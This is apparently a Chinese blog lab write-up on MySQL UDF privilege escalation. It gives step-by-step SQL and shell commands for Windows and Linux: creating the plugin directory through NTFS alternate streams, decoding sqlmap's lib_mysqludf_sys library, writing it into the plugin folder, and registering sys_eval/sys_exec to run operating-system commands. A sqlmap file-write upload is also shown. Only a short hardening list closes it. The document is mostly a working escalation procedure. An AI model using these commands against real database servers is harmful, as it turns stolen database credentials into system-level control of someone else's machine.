Mysql——udf提權

udf提權

UDF(user-defined function)是MySQL的一個拓展接口,也可稱之爲用戶自定義函數,它是用來拓展MySQL的技術手段,可以說是數據庫功能的一種擴展,用戶通過自定義函數來實現在MySQL中無法方便實現的功能,其添加的新函數都可以在SQL語句中調用

原理

UDF提權是利用MYSQL的自定義函數功能,構造特定得DLL將Mysql賬號轉化爲系統system權限
 

利用條件

可利用於windows系統,linux系統
Windows文件是dll文件;linux裏面的文件是so文件。

①擁有創建和刪除權限,可以將udf.dll寫入到相應目錄的權限

②Mysql版本大於5.1版本
udf.dll文件必須放置於MYSQL安裝目錄下的lib\plugin文件夾下

該目錄默認是不存在的,這就需要到Mysql的安裝目錄,並在安裝目錄下創建lib\plugin文件夾,然後將udf.dll文件導出到plugin目錄即可
(在某些情況下,我們會遇到Can’t open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,利用NTFS ADS流來創建文件夾的方法)

select @@basedir;  //查找到mysql的目錄 
select 'xxx' into dumpfile 'Mysql安裝路徑\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS創建lib目錄 
select 'xxx' into dumpfile 'Mysql安裝路徑\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS創建plugin目錄 )

③Mysql版本小於5.1版本
udf.dll文件在Windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32
(網絡上有很多關於udf提權的利用腳本)
 

實驗

windows下

拿到mysql數據庫用戶名密碼之後,登錄到數據庫。查看安裝路徑及plugin目錄路徑(事實並不存在,需要自己創建)

select @@basedir ;   //獲取安裝目錄 

show variables like "%plugin%";   //尋找mysql安裝路徑 

show variables like "%secure_file%";   //查看允許導入的權限爲空則任意路徑可寫

在這裏插入圖片描述
嘗試將secure_file_priv的值改成’’(空值)
在這裏插入圖片描述
用於提權的udf.dll在sqlmap裏可以找到,sqlmap/udf/mysql/windows下邊有32和64兩種
(這裏的位數是mysql的位數,並不是對方系統的位數)
注意踩坑:32位和64位要弄清楚!!一開始我用了64位的一直不行,換了32位才提權成功;但是截圖裏我還是用的64,讀者做實驗的時候請注意了!!

sqlmap裏的udf.dll是經過編碼的,利用的話需要先解碼,解碼的工具就在 sqlmap/extra/cloak/cloak.py

cloak.py -d -i sqlmap目錄\sqlmap\udf\mysql\windows\64(32)\lib_mysqludf_sys.dll

解碼完了,在sqlmap\udf\mysql\windows,32和64文件夾下會生成dll文件
在這裏插入圖片描述
將dll文件寫到mysql的/lib/plugin目錄下
在這裏插入圖片描述
創建函數

create function sys_eval/sys_exec/cmdshel returns string soname "lib_mysqludf_sys.dll";

在這裏插入圖片描述
提權成功後利用創建的方法執行語句
在這裏插入圖片描述在這裏插入圖片描述
刪除函數
在這裏插入圖片描述

linux下 方法一(實驗圖就不放了,加上上面的就太多了- -)

寫入插件
(網上很多udf提權的編碼,百度、github)

mysql> set @a=unhex('udf十六進制編碼');

mysql> select @a into dumpfile '/usr/lib/mysql/plugin/udf.so';//創建自定義函數,引用方法,成功執行系統命令:

mysql> select * from func;   //檢查是否已經有人導出過了

mysql> create function sys_eval returns string soname 'udf.so';

mysql> select sys_eval('whoami'); //提權成功

mysql> drop function sys_eval;// 將函數刪除 
linux下 方法二

如果mysql可外連,也可以使用sqlmap進行上傳so文件

sqlmap.py -d "mysql://root:test1234@@192.168.226.128:3306/mysql" --file-write="sqlmap目錄\data\udf\mysql\linux\64\lib_mysqludf_sys.so_" --file-dest="/usr/lib/mysql/plugin/udf.so"

接下來的利用步驟同上
 

安全防範

(1) 儘量避免提供對外鏈接,通過mysql中的user表進行查看,禁用“%”
(2) 設置複雜的root賬號密碼
(3) 對my.ini設置只讀屬性,設置plugin目錄爲只讀目錄

 
GOT IT!

 
******************************************************
小實驗小結,具體測試利用方式需根據具體實踐場景~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章